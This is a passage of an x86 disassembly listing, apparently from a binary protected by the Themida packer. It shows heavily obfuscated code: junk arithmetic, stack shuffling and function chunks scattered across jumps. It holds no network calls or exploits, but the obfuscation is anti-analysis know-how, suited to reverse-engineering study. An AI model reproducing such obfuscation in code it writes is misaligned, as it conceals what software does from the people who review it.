		mov	[esp+0], edx
		jmp	loc_5965A8
; ---------------------------------------------------------------------------


loc_58F3D9:				; CODE XREF: sub_59196D-23B1j
		pop	eax
		shl	ebp, 1
		shr	ebp, 2
		add	ebp, 7135454Ch
		jnb	loc_58D516
		xor	ebp, 76C3E44h
		jmp	loc_59397B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	ebx
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F3F8:				; CODE XREF: sub_59196D+63C7j
		add	ebp, 29A538DDh
		pop	ecx
		jmp	loc_593081
; ---------------------------------------------------------------------------


loc_58F404:				; CODE XREF: sub_59196D-125Bj
		sub	edi, 532944BFh
		shr	edi, 1
		push	ebx
		mov	ebx, 740A7D51h
		and	edi, ebx
		pop	ebx
		xor	edi, 4D30229Ah
		sub	ebx, edi
		pop	edi
		jmp	loc_59183E
; ---------------------------------------------------------------------------


loc_58F423:				; CODE XREF: sub_59196D+2032j
		mov	[esp-0Eh+arg_8+2], edx
		jmp	loc_5945D8
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58F42B	proc near		; CODE XREF: sub_59196D+62C6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058E503 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058F244 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_58F244
sub_58F42B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F436:				; CODE XREF: sub_59196D-153Aj
		push	ecx
		neg	[esp-0Ah+arg_4+2]
		pop	ecx
		jmp	loc_591FD1
; ---------------------------------------------------------------------------


loc_58F440:				; CODE XREF: sub_59196D-9CEj
		mov	esp, [esp-0Eh+arg_8+2]
		mov	ecx, [esp-0Eh+arg_8+2]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 28956897h
		inc	ecx
		sub	ecx, 1
		xor	ecx, 28956893h
		add	ebp, ecx
		pop	ecx
		push	edi
		push	ecx
		push	eax
		mov	eax, 73EA6960h
		jmp	loc_592F94
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58F469	proc near		; CODE XREF: sub_59196D+277Ej

var_6		= word ptr -6
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058F8F6 SIZE 00000019 BYTES

		sub	esp, 4
		jmp	loc_58F8F6
sub_58F469	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	7706h
		mov	[esp], edx
		mov	edx, 184D0185h
		jmp	loc_59223C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F487:				; CODE XREF: sub_59196D+1474j
		sub	eax, 0C986F64Fh
		add	esi, eax
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		mov	edx, 23C1274h
		jmp	loc_5969A3
; ---------------------------------------------------------------------------


loc_58F4A0:				; CODE XREF: sub_59196D+6C8Dj
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58F76C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58ED60


loc_58F4AF:				; CODE XREF: sub_58ED60+1Dj
		add	esi, 3652012h
		add	esi, ecx
		jmp	loc_58E14D
; END OF FUNCTION CHUNK	FOR sub_58ED60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F4BC:				; CODE XREF: sub_59196D+3E33j
		pop	eax
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		push	[esp+0Ah+var_C+2]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	78F8h
		mov	[esp+12h+var_12], esi
		jmp	loc_5906B1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_593A8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F4F6:				; CODE XREF: sub_59196D-30C3j
		pop	ecx
		shr	ecx, 6
		jnz	loc_58FA6A
		xor	ecx, 60D3B2F3h
		mov	edi, ecx
		jmp	loc_59097B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cl, ch
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F50F:				; CODE XREF: sub_58CD7E+8j
					; sub_59196D-2F27j
		pop	ebp
		add	eax, ebx
		jmp	loc_58F317
; ---------------------------------------------------------------------------


loc_58F517:				; CODE XREF: sub_59196D:loc_59185Fj
		xchg	ebp, esi
		push	ebp
		not	[esp+14h+var_16+2]
		jmp	loc_596B39
; ---------------------------------------------------------------------------


loc_58F522:				; CODE XREF: sub_59196D-1A5Ej
		mov	ebx, [esp+14h+var_16+2]
		jmp	loc_58BB85
; ---------------------------------------------------------------------------


loc_58F52A:				; CODE XREF: sub_59196D+1007j
					; sub_59196D:loc_593A12j
		mov	[esp+14h+var_16+2], esp
		push	edi
		jmp	loc_58DB94
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58F533	proc near		; CODE XREF: sub_59196D-3539j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058C7E1 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, 4
		add	[esp-4+arg_4], ebp
		jmp	loc_58C7E1
sub_58F533	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F542:				; CODE XREF: sub_59196D-489Dj
		add	esp, 4
		add	esp, 4
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	edi
		push	ebp
		push	edx
		mov	edx, 1
		jmp	loc_58B402
; ---------------------------------------------------------------------------


loc_58F55B:				; CODE XREF: sub_59196D+556Bj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	74D1h
		jmp	loc_58F590
; ---------------------------------------------------------------------------


loc_58F56B:				; CODE XREF: sub_59196D+735j
		neg	edi
		jge	sub_58C19E
		push	ebx
		push	edx
		mov	edx, 80A29599h
		mov	ebx, edx
		pop	edx


loc_58F57D:				; CODE XREF: sub_59196D+56CCj
		pop	dword ptr [eax]
		xor	dword ptr [eax], 3F381384h
		pop	edi
		pop	eax


loc_58F587:				; CODE XREF: sub_59196D+4FA1j
					; sub_59196D+56E1j
		push	[esp+1Ch+var_1E+2]
		pop	ebx
		jmp	sub_58ED60
; ---------------------------------------------------------------------------


loc_58F590:				; CODE XREF: sub_59196D-2407j
		mov	[esp+24h+var_26+2], esi
		push	7087h
		jmp	loc_58C86F
; ---------------------------------------------------------------------------


loc_58F59D:				; CODE XREF: sub_59196D+2849j
		add	[esp+28h+var_2A+2], 4
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		add	edx, 4
		push	ebp
		push	eax
		mov	eax, 5DCE156Ah
		mov	ebp, eax
		jmp	loc_58F3D9
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58F5C1	proc near		; CODE XREF: sub_59196D+10DAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		or	[esp-4+arg_0], eax
		pushf
		jmp	loc_58B37B
sub_58F5C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F5DC:				; CODE XREF: sub_59196D-25CCj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-0Ah+arg_4+2]
		pop	esp
		sub	al, bl
		sub	al, 6Ah
		push	ebx
		mov	bl, 0F8h
		push	ecx
		push	ax
		mov	ah, 90h
		mov	ch, ah
		mov	ax, word ptr [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_593AC5
; ---------------------------------------------------------------------------


loc_58F612:				; CODE XREF: sub_59196D+A65j
		add	ecx, 4
		jmp	loc_58FD24
; ---------------------------------------------------------------------------


loc_58F61D:				; CODE XREF: sub_59196D+5C68j
		dec	cl
		sub	cl, 56h
		shr	cl, 2
		jmp	loc_58D479
; ---------------------------------------------------------------------------


loc_58F62A:				; CODE XREF: sub_59196D+34D1j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp-8+arg_4]
		pop	esp
		mov	word ptr [esp-0Ch+arg_8], bx
		mov	bh, 0BCh
		sub	al, bh
		jmp	loc_591226
; ---------------------------------------------------------------------------


loc_58F64A:				; CODE XREF: sub_59196D+2469j
		xor	ebp, 17D9184Dh
		add	ebp, 6E3E09BCh
		jmp	loc_595432
; ---------------------------------------------------------------------------


loc_58F65B:				; CODE XREF: sub_59196D+1EEj
		shr	edi, 4
		shr	edi, 7
		jmp	loc_58EA4B
; ---------------------------------------------------------------------------


loc_58F666:				; CODE XREF: sub_59196D+50F3j
		xor	ebx, 1B401E2Eh
		mov	eax, ebx
		pop	ebx
		add	edi, 3FB80498h
		add	edi, eax
		push	eax
		mov	eax, 3A8C4E76h
		not	eax
		jmp	loc_58EF2F
; ---------------------------------------------------------------------------


loc_58F684:				; CODE XREF: sub_59196D-1A9Aj
		inc	ebx
		jp	loc_595DC9
		or	ebx, 63230EA2h
		jle	loc_593D79
		pop	ebx


loc_58F698:				; CODE XREF: sub_59196D-1F96j
		shl	esi, 8
		jmp	loc_58CC12
; ---------------------------------------------------------------------------


loc_58F6A0:				; CODE XREF: sub_59196D+3E6Bj
		mov	ecx, 183925EEh
		sub	edi, ecx
		pop	ecx
		jmp	loc_593CEE
; ---------------------------------------------------------------------------


loc_58F6AD:				; CODE XREF: sub_59196D+3Fj
		sub	bl, 0F4h
		add	bl, 3Eh
		sub	esp, 2
		mov	word ptr [esp-10h+arg_C], cx
		mov	ch, 4Eh
		jmp	loc_59608D
; ---------------------------------------------------------------------------


loc_58F6C4:				; CODE XREF: sub_59196D+1CACj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebp
		xor	ebp, [esp-0Ch+arg_8]
		jmp	loc_593629
; ---------------------------------------------------------------------------


loc_58F6E1:				; CODE XREF: sub_59196D+5AB2j
		push	64CE5B2Ah
		pop	eax
		add	eax, 0C13B9509h
		push	edx
		push	esi
		mov	esi, eax
		mov	edx, esi
		pop	esi
		jmp	loc_5961D3
; ---------------------------------------------------------------------------


loc_58F6F8:				; CODE XREF: sub_59196D-62F7j
		not	edx
		inc	edx
		push	edx
		dec	[esp+20h+var_22+2]
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		add	edx, 7AB051B8h
		or	ebx, edx
		mov	edx, [esp+1Ch+var_1E+2]
		jmp	loc_5966E0
; ---------------------------------------------------------------------------


loc_58F718:				; CODE XREF: sub_59196D+1DD4j
		and	edi, 2E2E7738h
		jnp	loc_593DC2
		xor	edi, 0ECF770Eh
		mov	ebp, edi
		pop	edi
		push	esi
		mov	esi, 3C3D7484h
		add	ebp, 78016774h
		add	ebp, esi
		sub	ebp, 78016774h
		pop	esi
		and	ebp, 49AF5C9Eh
		or	ebp, 6F7C3010h
		sub	ebp, 79CE023Dh
		not	ebp
		xor	ebp, 1CF7EDE1h
		jmp	loc_591B79
; ---------------------------------------------------------------------------


loc_58F761:				; CODE XREF: sub_59196D+A2Bj
		push	edx
		mov	edx, 26F24BE2h
		jmp	loc_596273
; ---------------------------------------------------------------------------


loc_58F76C:				; CODE XREF: sub_59196D-24C3j
		sub	ebp, 4
		xor	ebp, [esp+6+var_8+2]
		jmp	loc_58DD94
; ---------------------------------------------------------------------------


loc_58F77A:				; CODE XREF: sub_59196D+406Bj
		pop	ecx
		jmp	loc_598177
; ---------------------------------------------------------------------------


loc_58F780:				; CODE XREF: Themida_:00591354j
					; sub_59196D+198Cj
		add	esi, 4
		jmp	loc_5974A8
; ---------------------------------------------------------------------------


loc_58F78B:				; CODE XREF: sub_59196D+62AFj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58F790:				; CODE XREF: sub_59196D+5C85j
		mov	edi, 143E76C9h
		or	edi, 154269C3h
		xor	edi, 13181A8Bh
		jmp	loc_58F8A6
; ---------------------------------------------------------------------------


loc_58F7A6:				; CODE XREF: sub_59196D+A0Ej
					; sub_59196D+2223j
		mov	ebx, edi
		jmp	loc_58E4C9
; ---------------------------------------------------------------------------


loc_58F7AD:				; CODE XREF: sub_59196D-471Bj
		xor	ecx, 17EE954Ah
		jmp	loc_58FC79
; ---------------------------------------------------------------------------


loc_58F7B8:				; CODE XREF: sub_59196D:loc_594CCAj
		jmp	loc_591E7B
; ---------------------------------------------------------------------------


loc_58F7BD:				; CODE XREF: sub_59196D+1B11j
		push	1B715271h
		pop	ebp
		sub	ecx, ebp
		pop	ebp
		pop	esi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59001B
; ---------------------------------------------------------------------------


loc_58F7D2:				; CODE XREF: sub_59196D-3078j
		xor	eax, 3F8D4EFAh
		mov	edi, eax
		pop	eax
		dec	edi
		jmp	loc_58C8D8
; ---------------------------------------------------------------------------


loc_58F7E0:				; CODE XREF: sub_59196D-121Ej
		pop	edx
		pop	ebx
		mov	dl, al
		pop	eax
		jmp	loc_59650F
; ---------------------------------------------------------------------------


loc_58F7EA:				; CODE XREF: sub_59196D+6831j
		add	ebp, 7B961D29h
		sub	ebp, ecx
		sub	ebp, 7B961D29h
		pop	ecx
		jmp	loc_58F361
; ---------------------------------------------------------------------------


loc_58F7FE:				; CODE XREF: sub_59196D+5AC0j
		push	edi
		push	ecx
		mov	ecx, 0B28557Eh
		or	ecx, 2677555h
		not	ecx
		jmp	loc_594575
; ---------------------------------------------------------------------------


loc_58F812:				; CODE XREF: sub_59196D:loc_59094Aj
		inc	edx
		jmp	loc_58B536
; ---------------------------------------------------------------------------


loc_58F818:				; CODE XREF: sub_59196D-491Fj
		push	ecx
		push	4D5Ch
		jmp	loc_58BC0E
; ---------------------------------------------------------------------------


loc_58F823:				; CODE XREF: sub_59196D+5709j
		sub	dh, 71h
		jmp	loc_58ECE7
; ---------------------------------------------------------------------------


loc_58F82B:				; CODE XREF: sub_59196D-2936j
		add	esp, 4
		push	ebp
		push	esp
		push	[esp-0Ch+arg_8]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		add	ebp, 4
		push	71C3h
		mov	[esp-8+arg_4], edx
		mov	edx, 4
		jmp	loc_58E203
; ---------------------------------------------------------------------------


loc_58F85E:				; CODE XREF: sub_59196D+3483j
		mov	[esp-8+arg_4], ecx
		mov	ecx, 10000h
		jmp	loc_58E99F
; ---------------------------------------------------------------------------


loc_58F86B:				; CODE XREF: sub_59196D-1AA5j
		and	ebx, 1EFB6A80h
		jmp	loc_58C9A1
; ---------------------------------------------------------------------------


loc_58F876:				; CODE XREF: sub_59196D-1590j
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		ror	word ptr [esp-8+arg_4],	cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58F886:				; CODE XREF: sub_59196D+25E7j
		pop	ecx
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		pop	esp
		push	300Eh
		mov	[esp-8+arg_4], esi
		mov	esi, 5CDD1A4Fh
		not	esi
		inc	esi
		jmp	loc_592335
; ---------------------------------------------------------------------------


loc_58F8A6:				; CODE XREF: sub_59196D-21CCj
		xor	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 68993001h
		dec	ecx
		dec	ecx
		sub	ecx, 0FAAEEE71h
		add	eax, ecx
		pop	ecx
		jmp	loc_5931FC
; ---------------------------------------------------------------------------


loc_58F8BF:				; CODE XREF: sub_59196D+5CBFj
		pop	ebx
		pop	edi
		push	esi
		jmp	$+5
		push	esp
		pop	esi
		jmp	loc_58D78C
; ---------------------------------------------------------------------------


loc_58F8CE:				; CODE XREF: sub_59196D+D4Dj
					; sub_59196D+11C1j
		add	edi, ebx
		pop	ebx
		push	1DCEh
		mov	[esp-6+arg_0+2], eax
		jmp	loc_596A53
; ---------------------------------------------------------------------------


loc_58F8DE:				; CODE XREF: sub_59196D+512j
		xor	edx, 5B7419Eh
		add	edi, edx
		push	[esp-6+arg_0+2]
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_58D93A
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F469


loc_58F8F6:				; CODE XREF: sub_58F469+6j
		mov	[esp+4+var_4], esi
		mov	si, 2B75h
		push	si
		xchg	ax, [esp+6+var_6]
		not	ax
		xchg	ax, [esp+6+var_6]
		jmp	loc_58CEBC
; END OF FUNCTION CHUNK	FOR sub_58F469
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F90F:				; CODE XREF: sub_59196D-1C8j
		mov	al, 68h
		mov	cl, 99h
		sub	cl, al
		jmp	loc_595E0C
; ---------------------------------------------------------------------------


loc_58F91A:				; CODE XREF: sub_59196D-4451j
		jge	loc_58B461
		or	ebp, 5D4D7C8Eh
		jno	loc_594987
		sub	ebp, 0FF7D7ECDh
		sub	edx, 53815C19h
		pop	ebp


loc_58F939:				; CODE XREF: sub_59196D+20B2j
		mov	al, 0F6h
		sub	bl, al
		jmp	loc_5954C3
; ---------------------------------------------------------------------------


loc_58F942:				; CODE XREF: sub_59196D+819j
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_58CB80
; ---------------------------------------------------------------------------


loc_58F94A:				; CODE XREF: sub_59196D-391Ej
					; sub_59196D-3ABj
		xor	ecx, 5320112Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_597882
; ---------------------------------------------------------------------------


loc_58F958:				; CODE XREF: sub_59196D+226Aj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2Ah+var_2A]
		pop	esp
		mov	[esp+26h+var_26], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2Ah+var_2A]
		pop	esp
		mov	[esp+26h+var_26], eax
		push	52607C61h
		pop	eax
		push	edx
		mov	edx, 57FB19FAh
		shl	edx, 7
		or	edx, 3418713Dh
		xor	edx, 54FB542Eh
		or	edx, 459A76F2h
		jmp	loc_58E29F
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58BCC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F9B8:				; CODE XREF: sub_59196D+5AA1j
		mov	[esp+2Ah+var_2A], esi
		push	52DE5B45h
		mov	esi, [esp+2Eh+var_2E]
		add	esp, 4
		push	97Eh
		mov	[esp+2Eh+var_2E], ebx
		push	edx
		jmp	loc_591E84
; ---------------------------------------------------------------------------


loc_58F9D4:				; CODE XREF: sub_59196D-2AB3j
		inc	esi
		not	esi
		jmp	loc_58F698
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58F9DC:				; CODE XREF: Themida_:00590F4Cj
		push	eax
		jmp	loc_5967BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F9E2:				; CODE XREF: sub_59196D+337j
		inc	edx
		jle	loc_5963EF
		shr	edx, 3
		jnp	loc_594631
		mov	dh, bh
		push	ecx


loc_58F9F5:				; CODE XREF: Themida_:00591678j
		add	esp, 4
		add	[esp+42h+var_44+2], eax
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 0E417675h
		sub	[esp+46h+var_44+2], 43BE4D8Fh
		add	[esp+46h+var_44+2], eax
		add	[esp+46h+var_44+2], 43BE4D8Fh
		mov	eax, [esp+0]
		add	esp, 4
		add	[esp+42h+var_44+2], 7485520h
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58FA2C:				; CODE XREF: sub_59196D+3E84j
		push	esi
		mov	esi, 734067FDh
		jmp	loc_58EC26
; ---------------------------------------------------------------------------


loc_58FA37:				; CODE XREF: sub_59196D+6C85j
		sub	eax, 6A6745D2h
		push	48D0h
		mov	[esp+4Ah+var_4A], ebx
		push	592Dh
		mov	[esp+4Eh+var_4E], ebp
		mov	ebp, 1
		push	ebp
		sub	[esp+52h+var_54+2], 2A73127Bh
		mov	ebx, [esp+52h+var_54+2]
		jmp	loc_591624
; ---------------------------------------------------------------------------


loc_58FA61:				; CODE XREF: sub_59196D+4CCAj
		push	[esp+52h+var_54+2]
		pop	edi
		jmp	loc_59335B
; ---------------------------------------------------------------------------


loc_58FA6A:				; CODE XREF: sub_59196D-2473j
		xor	ecx, 60D3B2F3h
		mov	edi, ecx
		jmp	loc_58D45F
; ---------------------------------------------------------------------------


loc_58FA77:				; CODE XREF: sub_59196D-344Ej
					; sub_59196D+33C8j
		shr	dh, 7
		jnp	loc_590AFA
		jmp	loc_58BB5A
; ---------------------------------------------------------------------------


loc_58FA85:				; CODE XREF: sub_59196D-26BEj
					; sub_59196D+3466j
		mov	ecx, [esp+4Ch+var_4E+2]
		add	esp, 4
		pop	[esp+48h+var_4A+2]
		pop	esp
		sub	esp, 4
		mov	[esp+44h+var_44], ebp
		jmp	loc_59091A
; ---------------------------------------------------------------------------


loc_58FA9D:				; CODE XREF: sub_59196D+E57j
		mov	esi, 67725E0Ah
		jmp	loc_593C33
; ---------------------------------------------------------------------------


loc_58FAA7:				; CODE XREF: sub_59196D+1AB4j
		mov	[esp+44h+var_44], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_598578
; ---------------------------------------------------------------------------


loc_58FAC9:				; CODE XREF: sub_59196D-4D50j
					; sub_59196D-17Dj
		add	esp, 4
		add	ebx, esi
		pop	esi
		jmp	loc_58C3BF
; ---------------------------------------------------------------------------


loc_58FAD4:				; CODE XREF: sub_59196D+34A7j
		push	[esp+28h+var_2A+2]
		pop	ebx
		jmp	loc_58BFFB
; ---------------------------------------------------------------------------


loc_58FADD:				; CODE XREF: sub_59196D-4F11j
		mov	[esp+32h+var_32], esi
		push	3EB2839Ah
		mov	esi, [esp+36h+var_36]
		push	ecx
		mov	ecx, esp
		jmp	loc_592A4C
; ---------------------------------------------------------------------------


loc_58FAF0:				; CODE XREF: sub_59196D-40AEj
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_595C90
; ---------------------------------------------------------------------------


loc_58FB05:				; CODE XREF: sub_59196D-4AF7j
		pop	ebx
		push	ecx
		push	ebx
		push	54F77E5Bh
		pop	ebx
		xor	ebx, 675D10C5h
		jmp	loc_594530
; ---------------------------------------------------------------------------


loc_58FB19:				; CODE XREF: sub_59196D-3B49j
		mov	ebp, esi
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		xor	ebp, 60D00AF5h
		xor	eax, ebp
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58FB32:				; CODE XREF: sub_59196D+3A36j
		mov	dl, 0C7h
		sub	cl, 5Ch
		add	cl, dl
		jmp	loc_58E88F
; ---------------------------------------------------------------------------


loc_58FB3E:				; CODE XREF: sub_59196D+62B9j
		mov	[esp+0], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5933D6
; ---------------------------------------------------------------------------


loc_58FB55:				; CODE XREF: sub_59196D:loc_58D13Bj
		xor	edi, 361D27E2h
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_590619
; ---------------------------------------------------------------------------


loc_58FB72:				; CODE XREF: sub_59196D+4EC1j
		xor	ebx, 8F73D8A5h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		pop	esp
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_592607
; ---------------------------------------------------------------------------


loc_58FB90:				; CODE XREF: sub_59196D+3034j
		xchg	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	ax, word ptr [esp-8+arg_4]
		jmp	loc_593F68
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58FB9F:				; DATA XREF: Themida_:0058B0D8o
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	esi
		jmp	loc_58CE7B
; ---------------------------------------------------------------------------


loc_58FBBD:				; CODE XREF: Themida_:0059168Bj
		mov	eax, 7D4B63F8h
		jmp	loc_58F058
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FBC7:				; CODE XREF: sub_59196D+E2Ej
		add	esi, 166C2F3Bh
		sub	esi, 0E4F754C6h
		and	edi, esi
		jmp	loc_58CAD2
; ---------------------------------------------------------------------------


loc_58FBDA:				; CODE XREF: sub_59196D+158Dj
		mov	edx, 713D299Dh
		inc	edx
		dec	edx
		sub	edx, 713D2999h
		add	esi, edx
		push	[esp-8+arg_4]
		pop	edx
		jmp	loc_58DE88
; ---------------------------------------------------------------------------


loc_58FBF2:				; CODE XREF: sub_59196D+2AD5j
		add	ebp, 18120B05h
		jg	loc_58BCE9
		jmp	loc_59456A
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_5981CE
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FC0C:				; CODE XREF: sub_59196D+3088j
		sub	eax, 5E827D35h
		sub	eax, 5F963ED5h
		pop	edi
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		ror	[esp-10h+arg_C], cl
		pushf
		jmp	loc_595B47
; ---------------------------------------------------------------------------


loc_58FC24:				; CODE XREF: sub_59196D-42A4j
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		or	eax, eax
		jz	loc_590E7E
		push	dword ptr [edi+1Ch]
		jmp	loc_5982FD
; ---------------------------------------------------------------------------


loc_58FC38:				; CODE XREF: sub_59196D-2E1Cj
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_58CB21
; ---------------------------------------------------------------------------


loc_58FC40:				; CODE XREF: sub_59196D+5DF2j
		or	ebx, 0EE860AAh
		xor	ebx, 5EFAFEFBh
		add	edi, ebx
		jmp	loc_592CC9
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58FC53	proc near		; CODE XREF: sub_590792-50E9j

; FUNCTION CHUNK AT 0058CE11 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EFD1 SIZE 00000017 BYTES

		push	ebx
		mov	bl, 8
		jmp	loc_58EFD1
sub_58FC53	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FC5B:				; CODE XREF: sub_59196D+148Fj
		push	edi
		push	4
		jmp	loc_58FEEC
; ---------------------------------------------------------------------------


loc_58FC66:				; CODE XREF: sub_59196D+207j
		neg	ebp
		xor	ebp, 66214767h
		push	ebp
		xchg	edi, [esp+12h+var_12]
		not	edi
		jmp	loc_58F1F3
; ---------------------------------------------------------------------------


loc_58FC79:				; CODE XREF: sub_59196D-21BAj
		add	edx, ecx
		pop	ecx
		add	edi, 6D9711A4h
		add	edi, edx
		sub	edi, 6D9711A4h
		pop	edx
		sub	edi, esi
		jmp	loc_58F2B4
; ---------------------------------------------------------------------------


loc_58FC92:				; CODE XREF: sub_59196D+3F38j
		xor	eax, [esp+0Ch+var_C]
		jmp	loc_5969BB
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BE0


loc_58FC9A:				; CODE XREF: sub_590BE0+3DAj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_58B643
; END OF FUNCTION CHUNK	FOR sub_590BE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FCB0:				; CODE XREF: sub_59196D+16E6j
		not	ah
		inc	ah
		add	ah, 0F5h
		jmp	loc_58CD53
; ---------------------------------------------------------------------------


loc_58FCBC:				; CODE XREF: sub_59196D-645Dj
		pop	ecx
		jmp	loc_592CD9
; ---------------------------------------------------------------------------


loc_58FCC2:				; CODE XREF: sub_59196D+2CDDj
		neg	dword ptr [esp+0]
		pop	edi
		sub	edi, 587BABDDh
		jmp	loc_58CC0B
; ---------------------------------------------------------------------------


loc_58FCD1:				; CODE XREF: sub_59196D+2D36j
		not	ah
